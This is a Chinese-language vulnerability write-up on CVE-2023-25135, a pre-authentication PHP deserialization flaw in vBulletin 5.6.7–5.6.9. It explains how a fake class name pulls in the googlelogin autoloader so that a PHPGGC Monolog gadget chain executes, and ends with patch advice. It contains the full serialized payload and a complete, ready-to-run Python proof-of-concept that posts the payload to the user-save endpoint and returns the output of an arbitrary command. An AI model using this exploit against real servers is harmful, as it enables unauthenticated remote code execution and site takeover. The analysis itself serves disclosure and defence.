1.漏洞描述
vBulletin是一个强大,灵活并可完全根据自己的需要定制的商业论坛程序(非开源),它使用PHP脚本语言编写,并且基于以高效和高速著称的数据库引擎MySQL。
vBulletin 允许未经身份验证的远程攻击者通过触发反序列化的 HTTP 请求执行任意代码。发生这种情况是因为 verify_serialized 通过调用 unserialize 然后检查错误来检查值是否已序列化。
2.影响版本
vbulletin 5.6.7
vbulletin 5.6.8
vbulletin 5.6.9
3.影响范围
4.漏洞分析
在vBulletin中用户注册时涉及vB_DataManager_User类的实例化,在该类中定义了validfield属性,每次实例化对象时候都会检查对应的属性是否正确。其中在该类中有一处searchprefs字段,每次实例化对象时候采用了一个verify_serialized函数检查数据,我们先看看。
进入verify_serialized函数
从这里可以看出,vBulletin通过调用了unserialize函数来检查传入searchprefs的数据是否序列化。searchprefs这个字段可以由用户自由控制,这就导致了漏洞利用的可能性。
然而在vbulletin中,几乎每个类都使用了vB_Trait_NoSerialize特性,一些常见的魔术方法如__wakeup(),__ unserialize()等被调用时,只会抛出异常。这就使得通过类中相关魔术方法构造新的利用链的方法难以行得通。
基于此,那只能尝试PHPGGC中能否生成有效的利用载荷。查阅资料发现,在vBulletin中包含有PHPGGC支持的Monolog库,其物理路径在packages/ googlelogin /vendor/monolog。但我们发现,vBulletin中默认是禁用googlelogin包的,其中的googlelogin/vendor/autoload.php文件不能被加载(用于加载Monolog各个类),monolog库就不能被访问到,PHPGGC产生的monolog/rce*利用链便注定不成功。
到这里,不难发现只要将googlelogin/vendor/autoload.php这个文件引入,PHPGGC产生的载荷就可以成功利用。于是,我们开始寻找vBulletin中用于加载各类的autoload方法,看看有没有可以将该文件引入的可能。在vBulletin中autoload方法可以归结为以下代码:
由此,可以了解到,给定一个类名,在vBulletin中即可引入包含进以该类名分解构成的文件。比如,vBulletin第一次实例化vB_DataManager_User时,PHP还不知道这个类。因此,它调用每个类的autoload,包括vB:: autoload(),它将会引入加载包含该类的文件vB /datamanager/user.php。这样一来已经定义了该类,PHP就可以实例化它。
利用此原理, 在vBulletin实例化vB_DataManager_User类,调用unserialize()方法检查searchprefs字段是否序列化时候,如果在searchprefs字段内容里面填写的是一个序列化的精心构造的类名,此时unserialize()方法会反序列化该类名的对象,整个过程中会调用到vB:: autoload(),从而引入加载以该类名分解构成的文件。即使这个类名是不真实存在的,它也只会返回一个__PHP_Incomplete_Class的实例,反序列化的过程不会崩溃。
反序列化过程不会崩溃,意味着在这个过程中可以引入任意的文件提供使用。这样一来,便可以将之前利用PHPGGC monolog库失败所缺少的packages/ googlelogin /vendor/ autoload .php文件成功引入。
据此,可以构造一个假的类名googlelogin_vendor_autoload 用于引入/googlelogin/vendor/autoload.php文件,将其序列化
O:27:"googlelogin_vendor_autoload":0:{}
将这个payload写入searchprefs中,将会执行到verify_serialized()方法中调用unseriliaze()检查其是否已经序列化。unserialize()方法中会尝试加载googlelogin_vendor_autoload这个类,但是其不存在。在这个过程中,vB:: autolload()被调用,并且将/googlelogin/vendor/autoload.php文件成功引入包含,这个文件真实存在,但是googlelogin_vendor_autoload这个类不存在,unserilize()只会返回一个__PHP_Incomplete_Class的实例,程序依然在执行。
如此一来,/packages/ googlelogin /vendor/ autolload .php文件被成功引入,monolog类便能够成功使用,PHPGGC中monolog/rce*利用链便可以生效。因此,可以构造一个数组,第一部分是之前构造的假的类名,用于能够使用monolog类,第二部分是PHPGGC生成的monolog/rce*的payload
a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}
Poc:
#!/usr/bin/env python3
# Exploit for CVE-2023-25135: vBulletin pre-authentication RCE
from ten import *
@entry
@arg("url", "Target URL")
@arg("command", "Command to execute")
@arg("proxy", "Proxy to use (optional)")
def main(url: str, command: str, proxy: str = None):
session = ScopedSession(url)
if proxy:
session.proxies = proxy
marker = tf.random.string()
command = f"echo {marker}::; {command}; echo ::{marker}"
command = to_bytes(command)
payload = (
b'a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handle'
b'r\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\Buf'
b'ferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s'
b':9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:[LEN]:"[COMMAND]";s:5:"level";N;}}s:8:"\x00'
b'*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i'
b':-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}'
)
payload = payload.replace(b"[LEN]", to_bytes(len(command)))
payload = payload.replace(b"[COMMAND]", command)
response = session.post(
"/ajax/api/user/save",
{
"adminoptions": "",
"options": "",
"password": "password",
"securitytoken": "guest",
"user[email]": "pown@pown.net",
"user[password]": "password",
"user[searchprefs]": payload,
"user[username]": "toto",
"userfield": "",
"userid": "0",
},
)
if not response.code(200):
failure(f"Exploit failed: unexpected response code ({response.status_code})")
result = response.re.search(fr"{marker}::(.*)::{marker}", re.S)
if not result:
failure("Exploit potentially failed: command output not found")
msg_success("Exploit succeeded!")
msg_print("-" * 80)
msg_print(result.group(1))
msg_print("-" * 80)
main()
5.修复建议
官方已经发布补丁,升级到vBulletin最新版本。可以将searchprefs字段的unserilize()检测是否已序列化方法删除,替换为其他的检测是否已经序列化的方法。